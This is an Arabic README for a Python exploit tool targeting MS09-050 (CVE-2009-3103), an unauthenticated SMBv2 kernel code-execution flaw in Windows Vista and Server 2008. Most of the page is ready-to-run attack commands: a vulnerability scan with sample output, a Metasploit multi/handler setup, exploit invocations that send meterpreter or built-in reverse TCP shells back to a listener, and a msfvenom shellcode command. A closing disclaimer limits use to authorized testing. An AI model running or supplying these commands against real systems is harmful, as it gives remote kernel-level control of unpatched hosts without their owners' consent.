
استغلال Python لثغرة MS09-050 (CVE-2009-3103) تجاوز سعة المخزن المؤقت في SMBv2 srv2.sys، مع ماسح ضوئي للثغرات، واكتشاف تلقائي للمعمارية، وحمولات reverse shell لـ x86/x64.
CVE-2009-3103
قدّم Windows Vista و Server 2008 بروتوكول SMBv2 مع برنامج تشغيل نواة جديد، srv2.sys. يفشل هذا البرنامج في التحقق من صحة حقل Process Id High في طلبات التفاوض الخاصة بـ SMB. من خلال إرسال قيمة مصممة خصيصًا في هذا الحقل، يتسبب المهاجم في قيام srv2.sys بالفهرسة داخل جدول مؤشرات الدوال بقيمة متحكَّم بها، مما يؤدي إلى إلغاء الإشارة إلى عنوان يوفره المهاجم.
النتيجة هي تنفيذ تعليمات برمجية عشوائية في سياق النواة، دون الحاجة إلى مصادقة. يحتاج المهاجم فقط إلى الوصول إلى المنفذ 445.
قامت Microsoft بترقيع هذه الثغرة في أكتوبر 2009 (KB975517). أي نظام Vista SP1/SP2 أو Server 2008 SP1 غير مُرقَّع يكون عرضة للثغرة.
| نظام التشغيل الهدف | المعمارية |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload لاختيار حمولة مخصصة-s)[+] نجاح، [-] خطأ، [!] تحذير، [*] معلوماتgit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
المتطلبات:
rpcclient (من حزمة smbclient)، يُستخدم لتحفيز الحمولة بعد الحقنmsfvenom، مطلوب فقط عند استخدام خيار --msfvenomعلى Debian/Ubuntu:
sudo apt install smbclient
على Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
المخرجات:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
يستخدم stager من نوع meterpreter/reverse_tcp. ابدأ الـ handler أولاً:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
ثم شغّل الاستغلال:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
ولّد shellcode خام مرة واحدة، وأعد استخدامه دون msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
ثم مرّره إلى الاستغلال:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request من SMB1 لتحديد بصمة إصدار نظام التشغيل الهدف ومعماريتهsrv2.sysتُقدَّم هذه الأداة لأغراض اختبار الاختراق المصرَّح به والأغراض التعليمية فقط.
يُعدّ الوصول غير المصرَّح به إلى أنظمة الحاسوب جريمة جنائية في معظم الولايات القضائية. يجب عليك الحصول على إذن كتابي صريح من مالك النظام قبل استخدام هذه الأداة ضد أي هدف. لا يتحمل المؤلفون أي مسؤولية ولا يُسألون عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
باستخدامك هذه الأداة، فإنك توافق على أن:
استخدمها بمسؤولية. اخترق بأخلاقية.